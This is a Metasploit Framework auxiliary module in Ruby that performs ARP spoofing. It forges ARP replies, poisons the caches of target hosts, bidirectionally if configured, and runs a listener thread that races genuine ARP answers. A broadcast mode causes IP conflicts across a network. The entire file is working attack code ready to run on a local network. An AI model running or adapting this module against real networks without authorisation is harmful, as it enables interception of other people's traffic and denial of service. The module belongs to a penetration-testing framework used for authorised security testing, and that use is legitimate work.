##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Capture
	include Msf::Auxiliary::Report

	def initialize
		super(
			'Name'        => 'ARP Spoof',
			'Description' => %q{
				Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service.
			},
			'Author'      => 	'amaloteaux', # msf rewrite
						#tons of people  ....
			'License'     => MSF_LICENSE,
			'References'     =>
				[
					['OSVDB', '11169'],
					['CVE', '1999-0667'],
					['URL', 'http://en.wikipedia.org/wiki/ARP_spoofing']
				],
			'DisclosureDate' => 'Dec 22 1999' #osvdb date
		)

		register_options([
			OptString.new('SHOSTS',  	[true, 'Spoofed ip addresses']),
			OptString.new('SMAC',    	[false, 'The spoofed mac']),
			OptString.new('DHOSTS',  	[true, 'Target ip addresses']),
			OptString.new('INTERFACE', 	[false, 'The name of the interface']),
			OptBool.new(  'BIDIRECTIONAL',	[true, 'Spoof also the source with the dest',false]),
			OptBool.new(  'AUTO_ADD',	[true, 'Auto add new host when discovered by the listener',false]),
			OptBool.new(  'LISTENER',    	[true, 'Use an additionnal thread that will listen to arp request and try to relply as fast as possible', true])
		], self.class)

		register_advanced_options([
			OptString.new('LOCALSMAC',    	[false, 'The MAC address of the local interface to use for hosts detection, this is usefull only if you want to spoof to another host with SMAC']),
			OptString.new('LOCALSIP',    	[false, 'The IP address of the local interface to use for hosts detection']),
			OptInt.new(   'PKT_DELAY',    	[true, 'The delay in milliseconds between each packet during poisoning', 100]),
			OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data during host detection', 2]),
			# This mode will generate address ip conflict pop up  on most systems
			OptBool.new(  'BROADCAST',    	[true, 'If set, the module will send replies on the broadcast address witout consideration of DHOSTS', false])
		], self.class)

		deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK')
	end

	def run
		open_pcap({'SNAPLEN' => 68, 'FILTER' => "arp[6:2] == 0x0002"})
		@netifaces = true
		if not netifaces_implemented?
			print_error("WARNING : Pcaprub is not uptodate, some functionality will not be available")
			@netifaces = false
		end
		@spoofing = false
		# The local dst (and src) cache(s)
		@dsthosts_cache = {}
		@srchosts_cache = {}
		# Some additional caches for autoadd feature
		if datastore['AUTO_ADD']
			@dsthosts_autoadd_cache = {}
			if datastore['BIDIRECTIONAL']
				@srchosts_autoadd_cache = {}
			end
		end

		begin
			@interface = datastore['INTERFACE'] || Pcap.lookupdev
			#This is needed on windows cause we send interface directly to Pcap functions
			@interface = get_interface_guid(@interface)
			@smac = datastore['SMAC']
			@smac ||= get_mac(@interface) if @netifaces
			raise RuntimeError ,'SMAC is not defined and can not be guessed' unless @smac
			raise RuntimeError ,'Source MAC is not in correct format' unless is_mac?(@smac)

			@sip = datastore['LOCALSIP']
			@sip ||= Pcap.lookupaddrs(@interface)[0] if @netifaces
			raise "LOCALSIP is not defined and can not be guessed" unless @sip
			raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip)

			shosts_range  = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
			@shosts = []
			if datastore['BIDIRECTIONAL']
				shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) and shost != @sip then @shosts.push shost end}
			else
				shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end}
			end

			if datastore['BROADCAST']
				broadcast_spoof
			else
				arp_poisoning
			end

		rescue  =>  ex
			print_error( ex.message)
		ensure

			if datastore['LISTENER']
				@listener.kill if @listener
				GC.start()
			end

			if capture and @spoofing and not datastore['BROADCAST']
				print_status("RE-ARPing the victims...")
				3.times do
					@dsthosts_cache.keys.sort.each do |dhost|
						dmac = @dsthosts_cache[dhost]
						if datastore['BIDIRECTIONAL']
							@srchosts_cache.keys.sort.each do |shost|
								smac = @srchosts_cache[shost]
								if shost != dhost
									vprint_status("Sending arp packet for #{shost} to #{dhost}")
									reply = buildreply(shost, smac, dhost, dmac)
									inject(reply)
									Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
								end
							end
						else
							@shosts.each do |shost|
								if shost != dhost
									vprint_status("Sending arp request for #{shost} to #{dhost}")
									request = buildprobe(dhost, dmac, shost)
									inject(request)
									Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
								end
							end
						end
					end
					if datastore['BIDIRECTIONAL']
						@srchosts_cache.keys.sort.each do |shost|
							smac = @srchosts_cache[shost]
							@dsthosts_cache.keys.sort.each do |dhost|
								dmac = @dsthosts_cache[dhost]
								if shost != dhost
									vprint_status("Sending arp packet for #{dhost} to #{shost}")
									reply = buildreply(dhost, dmac, shost, smac)
									inject(reply)
									Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
								end
							end
						end
					end
				end # 3.times
			end
			close_pcap
		end #begin/rescue/ensure
	end

	def broadcast_spoof
		print_status("ARP poisoning in progress (broadcast)...")
		while(true)
			@shosts.each do |shost|
				vprint_status("Sending arp packet for #{shost} address")
				reply = buildreply(shost, @smac, '0.0.0.0', 'ff:ff:ff:ff:ff:ff')
				inject(reply)
				Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
			end
		end
	end

	def arp_poisoning
		lsmac = datastore['LOCALSMAC'] || @smac
		raise RuntimeError ,'Local Source Mac is not in correct format' unless is_mac?(lsmac)

		dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
		@dhosts = []
		dhosts_range.each{|dhost| if Rex::Socket.is_ipv4?(dhost) and dhost != @sip then @dhosts.push(dhost) end}

		#Build the local dest hosts cache
		print_status("Building the destination hosts cache...")
		@dhosts.each do |dhost|
			vprint_status("Sending arp packet to #{dhost}")

			probe = buildprobe(@sip, lsmac, dhost)
			inject(probe)
			while(reply = getreply())
				next if not reply.is_arp?
				#Without this check any arp request would be added to the cache
				if @dhosts.include? reply.arp_saddr_ip
					print_status("#{reply.arp_saddr_ip} appears to be up.")
					report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
					@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
				end
			end

		end
		#Wait some few seconds for last packets
		etime = Time.now.to_f + datastore['TIMEOUT']
		while (Time.now.to_f < etime)
			while(reply = getreply())
				next if not reply.is_arp?
				if @dhosts.include? reply.arp_saddr_ip
					print_status("#{reply.arp_saddr_ip} appears to be up.")
					report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
					@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
				end
			end
			Kernel.select(nil, nil, nil, 0.50)
		end
		raise RuntimeError, "No hosts found" unless @dsthosts_cache.length > 0

		#Build the local src hosts cache
		if datastore['BIDIRECTIONAL']
			print_status("Building the source hosts cache for unknow source hosts...")
			@shosts.each do |shost|
				if @dsthosts_cache.has_key? shost
					vprint_status("Adding #{shost} from destination cache")
					@srchosts_cache[shost] = @dsthosts_cache[shost]
					next
				end
				vprint_status("Sending arp packet to #{shost}")
				probe = buildprobe(@sip, lsmac, shost)
				inject(probe)
				while(reply = getreply())
					next if not reply.is_arp?
					if @shosts.include? reply.arp_saddr_ip
						print_status("#{reply.arp_saddr_ip} appears to be up.")
						report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
						@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
					end
				end

			end
			#Wait some few seconds for last packets
			etime = Time.now.to_f + datastore['TIMEOUT']
			while (Time.now.to_f < etime)
				while(reply = getreply())
					next if not reply.is_arp?
					if @shosts.include? reply.arp_saddr_ip
						print_status("#{reply.arp_saddr_ip} appears to be up.")
						report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
						@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
					end
				end
				Kernel.select(nil, nil, nil, 0.50)
			end
			raise RuntimeError, "No hosts found" unless @srchosts_cache.length > 0
		end

		if datastore['AUTO_ADD']
			@mutex_cache = Mutex.new
		end

		#Start the listener
		if datastore['LISTENER']
			start_listener(@dsthosts_cache, @srchosts_cache)
		end
		#Do the job until user interupt it
		print_status("ARP poisoning in progress...")
		@spoofing = true
		while(true)
			if datastore['AUTO_ADD']
				@mutex_cache.lock
				if @dsthosts_autoadd_cache.length > 0
					@dsthosts_cache.merge!(@dsthosts_autoadd_cache)
					@dsthosts_autoadd_cache = {}
				end
				if datastore['BIDIRECTIONAL']
					if @srchosts_autoadd_cache.length > 0
						@srchosts_cache.merge!(@srchosts_autoadd_cache)
						@srchosts_autoadd_cache = {}
					end
				end
				@mutex_cache.unlock
			end
			@dsthosts_cache.keys.sort.each do |dhost|
				dmac = @dsthosts_cache[dhost]
				if datastore['BIDIRECTIONAL']
					@srchosts_cache.keys.sort.each do |shost|
						smac = @srchosts_cache[shost]
						if shost != dhost
							vprint_status("Sending arp packet for #{shost} to #{dhost}")
							reply = buildreply(shost, @smac, dhost, dmac)
							inject(reply)
							Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
						end
					end
				else
					@shosts.each do |shost|
						if shost != dhost
							vprint_status("Sending arp packet for #{shost} to #{dhost}")
							reply = buildreply(shost, @smac, dhost, dmac)
							inject(reply)
							Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
						end
					end
				end
			end

			if datastore['BIDIRECTIONAL']
				@srchosts_cache.keys.sort.each do |shost|
					smac = @srchosts_cache[shost]
					@dsthosts_cache.keys.sort.each do |dhost|
						dmac = @dsthosts_cache[dhost]
						if shost != dhost
							vprint_status("Sending arp packet for #{dhost} to #{shost}")
							reply = buildreply(dhost, @smac, shost, smac)
							inject(reply)
							Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
						end
					end
				end
			end
		end
	end


	def is_mac?(mac)
		if mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/ then true
		else false end
	end

	def buildprobe(shost, smac, dhost)
		p = PacketFu::ARPPacket.new
		p.eth_saddr = smac
		p.eth_daddr = "ff:ff:ff:ff:ff:ff"
		p.arp_opcode = 1
		p.arp_daddr_mac = p.eth_daddr
		p.arp_saddr_mac = p.eth_saddr
		p.arp_saddr_ip = shost
		p.arp_daddr_ip = dhost
		p
	end

	def buildreply(shost, smac, dhost, dmac)
		p = PacketFu::ARPPacket.new
		p.eth_saddr = smac
		p.eth_daddr = dmac
		p.arp_opcode = 2 # ARP Reply
		p.arp_daddr_mac = p.eth_daddr
		p.arp_saddr_mac = p.eth_saddr
		p.arp_saddr_ip = shost
		p.arp_daddr_ip = dhost
		p
	end

	def getreply
		pkt_bytes = capture.next
		return if not pkt_bytes
		pkt = PacketFu::Packet.parse(pkt_bytes)
		return unless pkt.is_arp?
		return unless pkt.arp_opcode == 2
		pkt
	end

	def start_listener(dsthosts_cache, srchosts_cache)

		if datastore['BIDIRECTIONAL']
			args = {:BIDIRECTIONAL => true,  :dhosts => dsthosts_cache.dup, :shosts => srchosts_cache.dup}
		else
			args = {:BIDIRECTIONAL => false, :dhosts => dsthosts_cache.dup, :shosts => @shosts.dup}
		end
		# To avoid any race condition in case of , even if actually those are never updated after the thread is launched
		args[:AUTO_ADD] = datastore['AUTO_ADD']
		args[:localip] = @sip.dup
		@listener = Thread.new(args) do |args|
			begin
				#one more local copy
				liste_src_ips = []
				if args[:BIDIRECTIONAL]
					args[:shosts].each_key {|address| liste_src_ips.push address}
				else
					args[:shosts].each {|address| liste_src_ips.push address}
				end
				liste_dst_ips = []
				args[:dhosts].each_key {|address| liste_dst_ips.push address}
				localip = args[:localip]

				listener_capture = ::Pcap.open_live(@interface, 68, true, 0)
				listener_capture.setfilter("arp[6:2] == 0x0001")
				while(true)
					pkt_bytes = listener_capture.next
					if pkt_bytes
						pkt = PacketFu::Packet.parse(pkt_bytes)
						if pkt.is_arp?
							if pkt.arp_opcode == 1
								#check if the source ip is in the dest hosts
								if (liste_dst_ips.include? pkt.arp_saddr_ip and liste_src_ips.include? pkt.arp_daddr_ip) or
									(args[:BIDIRECTIONAL] and liste_dst_ips.include? pkt.arp_daddr_ip and liste_src_ips.include? pkt.arp_saddr_ip)
									vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}")
									reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr)
									3.times{listener_capture.inject(reply.to_s)}
								elsif args[:AUTO_ADD]
									if (@dhosts.include? pkt.arp_saddr_ip and not liste_dst_ips.include? pkt.arp_saddr_ip and
										pkt.arp_saddr_ip != localip)
										@mutex_cache.lock
										print_status("#{pkt.arp_saddr_ip} appears to be up.")
										@dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
										liste_dst_ips.push pkt.arp_saddr_ip
										@mutex_cache.unlock
									elsif (args[:BIDIRECTIONAL] and @shosts.include? pkt.arp_saddr_ip and
										not liste_src_ips.include? pkt.arp_saddr_ip and pkt.arp_saddr_ip != localip)
										@mutex_cache.lock
										print_status("#{pkt.arp_saddr_ip} appears to be up.")
										@srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
										liste_src_ips.push pkt.arp_saddr_ip
										@mutex_cache.unlock
									end
								end
							end
						end
					end
				end
			rescue => ex
				print_error("Listener Error: #{ex.message}")
				print_error("Listener Error: Listener is stopped")
			end
		end
		@listener.abort_on_exception = true
	end

end